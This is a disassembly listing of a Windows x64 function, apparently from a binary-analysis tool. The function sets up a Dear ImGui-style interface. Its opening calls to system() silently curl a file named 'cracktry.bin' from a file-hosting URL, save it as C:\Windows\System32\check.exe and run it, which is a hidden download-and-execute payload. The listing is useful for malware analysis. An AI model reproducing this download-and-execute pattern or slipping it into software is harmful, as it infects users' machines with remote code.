Function at 0x140006a20
Capabilities:
Execute command
Hash data with crc32

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0x98
lea rcx, str.curl___silent_https:__file.garden_Zw9va8JzyS5wjai8_cracktry.bin___output_C:WindowsSystem32check.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32check.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [0x14025b7c0]
xor esi, esi
mov dword [rbp - 0x1d], esi
mov qword [rbp - 0x11], rsi
mov qword [rbp + 0x17], rsi
lea rax, str.Window
mov qword [rbp - 0x29], rax
mov edi, 0xffffffff
mov edx, edi
lea r8, [0x140144415]
mov r9b, 0x57
lea r14, [0x140145370]
cmp r9b, 0x23
jne 0x140006a98
cmp byte [r8], r9b
jne 0x140006a98
cmp byte [r8 + 1], r9b
cmove edx, edi
movzx ecx, dl
movzx eax, r9b
xor rcx, rax
shr edx, 8
xor edx, dword [r14 + rcx*4]
movzx r9d, byte [r8]
inc r8
test r9b, r9b
jne 0x140006a86
not edx
mov dword [rbp - 0x21], edx
lea rax, [0x140019190]
mov qword [rbp - 0x19], rax
lea rax, [0x140019220]
mov qword [rbp - 9], rax
lea rax, [0x140019300]
mov qword [rbp - 1], rax
lea rax, [0x1400193d0]
mov qword [rbp + 7], rax
lea rax, [0x140019520]
mov qword [rbp + 0xf], rax
lea rcx, [rbp - 0x29]
call fcn.140018c40
mov dword [rbp - 0x1d], esi
mov qword [rbp - 0x11], rsi
mov qword [rbp + 0x17], rsi
lea rax, str.Table
mov qword [rbp - 0x29], rax
mov edx, edi
lea r8, [0x1401684c5]
mov r9b, 0x54
nop dword [rax]
cmp r9b, 0x23
jne 0x140006b32
cmp byte [r8], r9b
jne 0x140006b32
cmp byte [r8 + 1], r9b
cmove edx, edi
movzx ecx, dl
movzx eax, r9b
xor rcx, rax
shr edx, 8
xor edx, dword [r14 + rcx*4]
movzx r9d, byte [r8]
inc r8
test r9b, r9b
jne 0x140006b20
not edx
mov dword [rbp - 0x21], edx
lea rax, [0x1400307f0]
mov qword [rbp - 0x19], rax
lea rax, [0x1400308e0]
mov qword [rbp - 9], rax
lea rax, [0x1400309c0]
mov qword [rbp - 1], rax
lea rax, [0x140030890]
mov qword [rbp + 7], rax
lea rax, [0x140030c40]
mov qword [rbp + 0xf], rax
lea rcx, [rbp - 0x29]
call fcn.140018c40
mov rcx, qword [0x14025b7c0]
mov rax, qword [str.Size_column_to_fitSizeOne]
mov qword [rcx + 0x5c18], rax
mov rax, qword [str.Size_all_columns_to_fitSizeAll]
mov qword [rcx + 0x5c20], rax
mov rax, qword [str.Size_all_columns_to_defaultSizeAll]
mov qword [rcx + 0x5c28], rax
mov rax, qword [str.Reset_orderResetOrder]
mov qword [rcx + 0x5c30], rax
mov rax, qword [str._Main_menu_bar_]
mov qword [rcx + 0x5c38], rax
mov rax, qword [str._Popup_]
mov qword [rcx + 0x5c40], rax
mov rax, qword [str._Untitled_]
mov qword [rcx + 0x5c48], rax
test rcx, rcx
je 0x140006c08
inc dword [rcx + 0x11c]
mov ecx, 0xb8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
mov qword [rbp + 0x6f], rax
lea rax, [rbp + 0x67]
mov qword [rbp + 0x77], rax
mov qword [rbp + 0x7f], rdi
test rdi, rdi
je 0x140006c9e
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x48], xmm0
movups xmmword [rdi + 0x58], xmm0
movups xmmword [rdi + 0x68], xmm0
lea rcx, [rdi + 0x78]
mov qword [rbp - 0x39], rcx
lea rax, [0x14001a0d0]
mov qword [rsp + 0x20], rax
lea r9, [fcn.14001a870]
mov edx, reloc.WS2_32.dll_recv
mov r8d, 2
call fcn.14011cd58
mov qword [rdi + 0x98], rsi
mov qword [rdi + 0xa0], rsi
mov qword [rdi + 0xa8], rsi
mov qword [rdi + 0xb0], rsi
mov qword [rdi + 0x30], 0xffffffffffffffff
mov qword [rdi + 0x40], rsi
mov qword [rdi + 0x38], rsi
jmp 0x140006ca1
mov rdi, rsi
mov ecx, dword [rbx + 0x48d4]
mov r14d, dword [rbx + 0x48d0]
mov esi, 8
cmp r14d, ecx
jne 0x140006d4f
inc r14d
test ecx, ecx
je 0x140006cce
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x140006cd0
mov eax, esi
cmp eax, r14d
cmovg r14d, eax
cmp r14d, ecx
jle 0x140006d4f
mov rax, qword [0x14025b7c0]
test rax, rax
je 0x140006cee
inc dword [rax + 0x11c]
movsxd rcx, r14d
shl rcx, 3
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
mov rdx, qword [rbx + 0x48d8]
test rdx, rdx
je 0x140006d41
movsxd r8, dword [rbx + 0x48d0]
shl r8, 3
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbx + 0x48d8]
test rcx, rcx
je 0x140006d3b
mov rax, qword [0x14025b7c0]
test rax, rax
je 0x140006d3b
dec dword [rax + 0x11c]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [rbx + 0x48d8], r15
mov dword [rbx + 0x48d4], r14d
movsxd rcx, dword [rbx + 0x48d0]
mov rax, qword [rbx + 0x48d8]
mov qword [rax + rcx*8], rdi
inc dword [rbx + 0x48d0]
lea rdi, [rbx + 0x5e08]
mov ecx, dword [rdi + 4]
cmp ecx, 0xc01
jge 0x140006d99
test ecx, ecx
je 0x140006d87
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
lea esi, [rcx + rax]
mov edx, 0xc01
cmp esi, edx
cmovg edx, esi
mov rcx, rdi
call fcn.14001ab20
movsxd rax, dword [rdi]
cmp eax, 0xc01
jge 0x140006dc4
mov rcx, rax
cmp rax, 0xc01
jge 0x140006dc4
nop
mov rax, qword [rdi + 8]
mov byte [rcx + rax], 0
inc rcx
cmp rcx, 0xc01
jl 0x140006db0
mov dword [rdi], 0xc01
mov byte [rbx + 0x28], 1
add rsp, 0x98
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret